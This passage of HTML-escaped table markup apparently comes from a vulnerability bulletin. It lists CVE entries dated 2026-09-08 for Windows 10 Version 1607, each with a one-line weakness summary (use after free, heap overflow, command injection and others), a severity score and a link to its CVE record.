&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Devices Human Interface allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69472&quot; target=&quot;_blank&quot;&gt;CVE-2026-69472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69473&quot; target=&quot;_blank&quot;&gt;CVE-2026-69473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Remote Desktop Services allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69475&quot; target=&quot;_blank&quot;&gt;CVE-2026-69475&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69476&quot; target=&quot;_blank&quot;&gt;CVE-2026-69476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69478&quot; target=&quot;_blank&quot;&gt;CVE-2026-69478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Creation of temporary file in directory with insecure permissions in Windows Error Reporting allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69482&quot; target=&quot;_blank&quot;&gt;CVE-2026-69482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69488&quot; target=&quot;_blank&quot;&gt;CVE-2026-69488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69489&quot; target=&quot;_blank&quot;&gt;CVE-2026-69489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69492&quot; target=&quot;_blank&quot;&gt;CVE-2026-69492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69500&quot; target=&quot;_blank&quot;&gt;CVE-2026-69500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Fax Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69509&quot; target=&quot;_blank&quot;&gt;CVE-2026-69509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Remote Desktop Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69514&quot; target=&quot;_blank&quot;&gt;CVE-2026-69514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69532&quot; target=&quot;_blank&quot;&gt;CVE-2026-69532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a command (&#039;command injection&#039;) in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69534&quot; target=&quot;_blank&quot;&gt;CVE-2026-69534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69538&quot; target=&quot;_blank&quot;&gt;CVE-2026-69538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Services allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69539&quot; target=&quot;_blank&quot;&gt;CVE-2026-69539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69541&quot; target=&quot;_blank&quot;&gt;CVE-2026-69541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Work Folder Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69560&quot; target=&quot;_blank&quot;&gt;CVE-2026-69560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69561&quot; target=&quot;_blank&quot;&gt;CVE-2026-69561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69563&quot; target=&quot;_blank&quot;&gt;CVE-2026-69563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Online Certificate Status Protocol (OCSP) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69564&quot; target=&quot;_blank&quot;&gt;CVE-2026-69564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69567&quot; target=&quot;_blank&quot;&gt;CVE-2026-69567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69571&quot; target=&quot;_blank&quot;&gt;CVE-2026-69571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69573&quot; target=&quot;_blank&quot;&gt;CVE-2026-69573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69575&quot; target=&quot;_blank&quot;&gt;CVE-2026-69575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Graphic Fonts allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69576&quot; target=&quot;_blank&quot;&gt;CVE-2026-69576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69578&quot; target=&quot;_blank&quot;&gt;CVE-2026-69578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69580&quot; target=&quot;_blank&quot;&gt;CVE-2026-69580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69581&quot; target=&quot;_blank&quot;&gt;CVE-2026-69581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69582&quot; target=&quot;_blank&quot;&gt;CVE-2026-69582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69583&quot; target=&quot;_blank&quot;&gt;CVE-2026-69583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69584&quot; target=&quot;_blank&quot;&gt;CVE-2026-69584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Incorrect type conversion or cast in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69585&quot; target=&quot;_blank&quot;&gt;CVE-2026-69585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69589&quot; target=&quot;_blank&quot;&gt;CVE-2026-69589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69592&quot; target=&quot;_blank&quot;&gt;CVE-2026-69592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69593&quot; target=&quot;_blank&quot;&gt;CVE-2026-69593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69600&quot; target=&quot;_blank&quot;&gt;CVE-2026-69600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Audio Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69604&quot; target=&quot;_blank&quot;&gt;CVE-2026-69604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Deployment Services allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69607&quot; target=&quot;_blank&quot;&gt;CVE-2026-69607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69608&quot; target=&quot;_blank&quot;&gt;CVE-2026-69608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69610&quot; target=&quot;_blank&quot;&gt;CVE-2026-69610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69611&quot; target=&quot;_blank&quot;&gt;CVE-2026-69611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Absolute path traversal in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69612&quot; target=&quot;_blank&quot;&gt;CVE-2026-69612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69613&quot; target=&quot;_blank&quot;&gt;CVE-2026-69613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Fax Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69621&quot; target=&quot;_blank&quot;&gt;CVE-2026-69621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69630&quot; target=&quot;_blank&quot;&gt;CVE-2026-69630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows DNS allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69631&quot; target=&quot;_blank&quot;&gt;CVE-2026-69631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Message Queuing allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69645&quot; target=&quot;_blank&quot;&gt;CVE-2026-69645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69652&quot; target=&quot;_blank&quot;&gt;CVE-2026-69652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Accounts Control allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69654&quot; target=&quot;_blank&quot;&gt;CVE-2026-69654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Kerberos allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69685&quot; target=&quot;_blank&quot;&gt;CVE-2026-69685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69687&quot; target=&quot;_blank&quot;&gt;CVE-2026-69687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69688&quot; target=&quot;_blank&quot;&gt;CVE-2026-69688&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
